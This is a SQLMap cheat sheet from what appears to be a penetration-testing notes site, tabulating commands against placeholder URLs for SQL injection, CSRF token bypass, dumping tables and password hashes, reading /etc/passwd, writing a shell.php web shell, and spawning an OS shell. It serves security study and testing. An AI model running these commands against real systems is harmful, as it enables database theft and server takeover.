> For the complete documentation index, see [llms.txt](https://notes.drngd0tter.red/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.drngd0tter.red/cheat-sheets/sqlmap-cheat-sheet.md).

# SQLMap Cheat Sheet

<table><thead><tr><th width="480">Command</th><th>Description</th></tr></thead><tbody><tr><td><code>sqlmap -h</code></td><td>View the basic help menu</td></tr><tr><td><code>sqlmap -hh</code></td><td>View the advanced help menu</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.example.com/vuln.php?id=1"><code>http://www.example.com/vuln.php?id=1</code></a><code>" --batch</code></td><td>Run SQLMap without asking for user input</td></tr><tr><td><code>sqlmap '</code><a href="http://www.example.com/"><code>http://www.example.com/</code></a><code>' --data 'uid=1&#x26;name=test'</code></td><td>SQLMap with POST request</td></tr><tr><td><code>sqlmap '</code><a href="http://www.example.com/"><code>http://www.example.com/</code></a><code>' --data 'uid=1*&#x26;name=test'</code></td><td>POST request specifying an injection point with an asterisk</td></tr><tr><td><code>sqlmap -r req.txt</code></td><td>Passing an HTTP request file to SQLMap</td></tr><tr><td><code>sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'</code></td><td>Specifying a cookie header</td></tr><tr><td><code>sqlmap -u www.target.com --data='id=1' --method PUT</code></td><td>Specifying a PUT request</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.target.com/vuln.php?id=1"><code>http://www.target.com/vuln.php?id=1</code></a><code>" --batch -t /tmp/traffic.txt</code></td><td>Store traffic to an output file</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.target.com/vuln.php?id=1"><code>http://www.target.com/vuln.php?id=1</code></a><code>" -v 6 --batch</code></td><td>Specify verbosity level</td></tr><tr><td><code>sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"</code></td><td>Specifying a prefix or suffix</td></tr><tr><td><code>sqlmap -u www.example.com/?id=1 -v 3 --level=5</code></td><td>Specifying the level and risk</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.example.com/?id=1"><code>http://www.example.com/?id=1</code></a><code>" --banner --current-user --current-db --is-dba</code></td><td>Basic DB enumeration</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.example.com/?id=1"><code>http://www.example.com/?id=1</code></a><code>" --tables -D testdb</code></td><td>Table enumeration</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.example.com/?id=1"><code>http://www.example.com/?id=1</code></a><code>" --dump -T users -D testdb -C name,surname</code></td><td>Table/row enumeration</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.example.com/?id=1"><code>http://www.example.com/?id=1</code></a><code>" --dump -T users -D testdb --where="name LIKE 'f%'"</code></td><td>Conditional enumeration</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.example.com/?id=1"><code>http://www.example.com/?id=1</code></a><code>" --schema</code></td><td>Database schema enumeration</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.example.com/?id=1"><code>http://www.example.com/?id=1</code></a><code>" --search -T user</code></td><td>Searching for data</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.example.com/?id=1"><code>http://www.example.com/?id=1</code></a><code>" --passwords --batch</code></td><td>Password enumeration and cracking</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.example.com/"><code>http://www.example.com/</code></a><code>" --data="id=1&#x26;csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"</code></td><td>Anti-CSRF token bypass</td></tr><tr><td><code>sqlmap --list-tampers</code></td><td>List all tamper scripts</td></tr><tr><td>sqlmap -u "<a href="http://www.example.com/case1.php?id=1">http://www.example.com/case1.php?id=1</a>" --is-dba</td><td>Check for DBA privileges</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.example.com/?id=1"><code>http://www.example.com/?id=1</code></a><code>" --file-read "/etc/passwd"</code></td><td>Reading a local file</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.example.com/?id=1"><code>http://www.example.com/?id=1</code></a><code>" --file-write "shell.php" --file-dest "/var/www/html/shell.php"</code></td><td>Writing a file</td></tr><tr><td><code>sqlmap -u "</code><a href="http://www.example.com/?id=1"><code>http://www.example.com/?id=1</code></a><code>" --os-shell</code></td><td>Spawning an OS shell</td></tr></tbody></table>